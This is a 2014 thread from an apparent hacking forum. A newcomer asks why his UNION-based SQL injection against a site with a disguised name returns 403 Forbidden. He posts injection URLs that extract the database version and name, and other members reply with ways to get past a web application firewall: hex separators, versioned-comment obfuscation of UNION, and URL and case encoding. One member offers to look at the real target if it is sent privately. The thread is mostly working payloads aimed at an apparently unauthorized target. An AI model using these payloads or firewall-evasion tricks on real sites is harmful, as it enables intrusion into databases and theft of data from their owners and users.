

Forum:[Hack Forums](#)

Thread: [SQLi targeting fails !](#)

mymahesh11 - September 16, 2014, 9:21 am

As I am newbie to SQLi I face so many problems fetching records.

```
Code gyancho.com/gyancho.php?id=-20 union SELECT 1,2,group_concat(1),4,5,6--
gyancho.com/gyancho.php?id=-20 union SELECT 1,2,group_concat(version()),4,5,6--
gyancho.com/gyancho.php?id=-20 union SELECT 1,2,group_concat(database()),4,5,6--
```

The above works perfect I get appropriate results as

1

5.6.11-log

and further

But when I trying to concat two things together it doesn't work as I want.

```
Code gyancho.com/gyancho.php?id=-20 union SELECT
```

```
1,2,group_concat(version(),database()),4,5,6--
```

Now above returns an error as 403 ERROR , FORBIDDEN

Now what should I do?

>_< GYANcho >_<

-Acid - September 16, 2014, 9:30 am

Well the site is not opening for me..i don't know why.

Forbidden error is waf.

But try to put seperator between version and database
like

PHP Code

```
<?php
```

```
gyancho.com/gyancho.php?id=-20 union SELECT 1,2,group_concat(version(),0x3a,database()),4,5,6--
```

This is just a guess from my side as i am not able to open the site.

mymahesh11 - September 16, 2014, 9:45 am

The site is different ? I replaced the name of site with Gyancho ???

And also I tried this using separator but not working!

-Acid - September 16, 2014, 9:48 am

LOI...?

so pm me site..i'll check what is the problem...or post site here..

ridhisidhi12 - September 16, 2014, 9:51 am

U got 43 forbidden error.Then try URL ENCODING to bypass 403 error. like

```
/*!00000%55nion*/ -----> %55 is for U
```

-Acid - September 16, 2014, 10:01 am

PHP Code

```
<?php
```

```
http:  
//gyanchoooo?/gyancho?id=-20%20union%20select%201,2,(select%20concat(database(),version()  
) ,4,5,6--
```

mymahesh11 - September 16, 2014, 10:05 am

HUH! Thats pretty cool work! by SPID3R ?

(Sep 16, 2014 09:51 AM)ridhisidhi12 Wrote: [\[CITE\]](#) U got 43 forbidden error. Then try URL ENCODING to bypass 403 error. like

```
/*!00000%55nion*/ -----> %55 is for U
```

Tried almost all combination camel case, url encoding, hex encoding but no use ?

c.h.r.o.n.i.c.a.l - September 16, 2014, 8:50 pm

It's obviously a WAF (Web Application Firewall)

Encode your URL and include random shit that won't mess up the query, like ridhisidhi12 suggested.

mymahesh11 - September 16, 2014, 9:56 pm

I tried encoding URL, first characters or or entire word... But shit doesn't allow me